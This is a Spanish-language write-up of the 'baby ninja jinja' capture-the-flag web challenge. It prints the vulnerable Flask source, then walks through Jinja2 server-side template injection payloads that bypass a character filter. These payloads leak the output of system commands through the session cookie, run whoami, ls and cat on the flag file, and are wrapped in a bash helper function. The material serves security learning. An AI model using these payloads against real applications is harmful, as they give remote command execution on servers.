baby ninja jinja
4 minutos de lectura
Se nos proporciona esta página web:
Existe un comentario en el código HTML de la página que indica una URL de depuración (/debug
):
En esta ruta /debug
, podemos encontrar el código fuente:
$ curl 157.245.33.77:31650/debug
from flask import Flask, session, render_template, request, Response, render_template_string, g
import functools, sqlite3, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(120)
acc_tmpl = '''{% extends 'index.html' %}
{% block content %}
<h3>baby_ninja joined, total number of rebels: reb_num<br>
{% endblock %}
'''
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect('/tmp/ninjas.db')
db.isolation_level = None
db.row_factory = sqlite3.Row
db.text_factory = (lambda s: s.replace('{{', '').
replace("'", ''').
replace('"', '"').
replace('<', '<').
replace('>', '>')
)
return db
def query_db(query, args=(), one=False):
with app.app_context():
cur = get_db().execute(query, args)
rv = [dict((cur.description[idx][0], str(value)) \
for idx, value in enumerate(row)) for row in cur.fetchall()]
return (rv[0] if rv else None) if one else rv
@app.before_first_request
def init_db():
with app.open_resource('schema.sql', mode='r') as f:
get_db().cursor().executescript(f.read())
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None: db.close()
def rite_of_passage(func):
@functools.wraps(func)
def born2pwn(*args, **kwargs):
name = request.args.get('name', '')
if name:
query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)
report = render_template_string(acc_tmpl.
replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
)
if session.get('leader'):
return report
return render_template('welcome.jinja2')
return func(*args, **kwargs)
return born2pwn
@app.route('/')
@rite_of_passage
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
Como está utilizando Flask como framework web y Jinja2 como motor de plantillas, la vulnerabilidad está relacionada con Server-Side Template Injection (SSTI).
El servidor está filtrando algunos caracteres para prevenir SSTI, por lo que estos son los caracteres que no podremos usar en el payload:
{{ ' " < >
Sin embargo, aún podemos usar técnicas de bypassing para ejecutar comandos sin emplear dichos caracteres. Mirando en PayloadsAllTheThings, podemos encontrar estos payloads:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}{% endif %}{% endfor %}
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Entonces, podemos introducir strings en nuestro payload con más parámetros de URL, y evitamos el uso de {{ ... }}
con bloques {% ... %}
.
Podemos tomar control sobre la respuesta HTML de la página si nuestra sesión contiene la clave leader
, por lo que podemos añadirla mediante SSTI y mostrar nuestra entrada controlada:
$ curl -siGX GET 157.245.33.77:31650 --data-urlencode 'name={% if session.update({request.args.leader: True}) or True %} asdf {% endif %}' --data-urlencode leader=leader | grep asdf
<h3> asdf joined, total number of rebels: 13<br>
No obstante, como no podemos usar {{
, no podremos visualizar la salida de algún comando. Además, la instancia remota no tiene conexión a Internet, por lo que las reverse shells no son posibles.
La modificación de la sesión debe ser una pista, ya que podemos utilizar el diccionario de sesión para introducir la salida de nuestros comandos. Por ejemplo:
$ curl -siGX GET 157.245.33.77:31650 --data-urlencode 'name={% if session.update({request.args.c: cycler.__init__.__globals__.os.popen(request.args.cmd).read().decode()}) %}{% endif %}' --data-urlencode c=c --data-urlencode cmd=whoami | grep session
Set-Cookie: session=eyJjIjoibm9ib2R5XG4ifQ.Yo1aQQ.Z_2DY8zZX4NhCASvRpQKwdKp6-o; HttpOnly; Path=/
$ echo eyJjIjoibm9ib2R5XG4ifQ | base64 -d
{"c":"nobody\n"
$ curl -siGX GET 157.245.33.77:31650 --data-urlencode 'name={% if session.update({request.args.c: cycler.__init__.__globals__.os.popen(request.args.cmd).read().decode()}) %}{% endif %}' --data-urlencode c=c --data-urlencode cmd=whoami | grep session | awk -F = '{ print $2 }' | awk -F . '{ print $1 }' | base64 -d
{"c":"nobody\n"
Ahora podemos meter todos estos comandos en una función de Bash para ejecutar comandos más fácilmente:
$ function exec_cmd() { curl -siGX GET 157.245.33.77:31650 --data-urlencode 'name={% if session.update({request.args.c: cycler.__init__.__globals__.os.popen(request.args.cmd).read().decode()}) %}{% endif %}' --data-urlencode c=c --data-urlencode "cmd=$1" | grep session | awk -F = '{ print $2 }' | awk -F . '{ print $1 }' | base64 -d }
$ exec_cmd whoami
{"c":"nobody\n"
En este punto, podemos buscar la flag y capturarla:
$ exec_cmd ls
{"c":"app.py\nflag_P54ed\nschema.sql\nstatic\ntemplates\n
$ exec_cmd 'cat flag*'
{"c":"HTB{b4by_ninj4s_d0nt_g3t_qu0t3d_0r_c4ughT}\n"
Adicionalmente, escribí un script en Python para automatizar la ejecución de comandos y el filtrado: ssti.py
(explicación detallada aquí).
$ python3 ssti.py 157.245.33.77:31650
$ whoami
nobody
$ ls
app.py
flag_P54ed
schema.sql
static
templates
$ cat flag_P54ed
HTB{b4by_ninj4s_d0nt_g3t_qu0t3d_0r_c4ughT}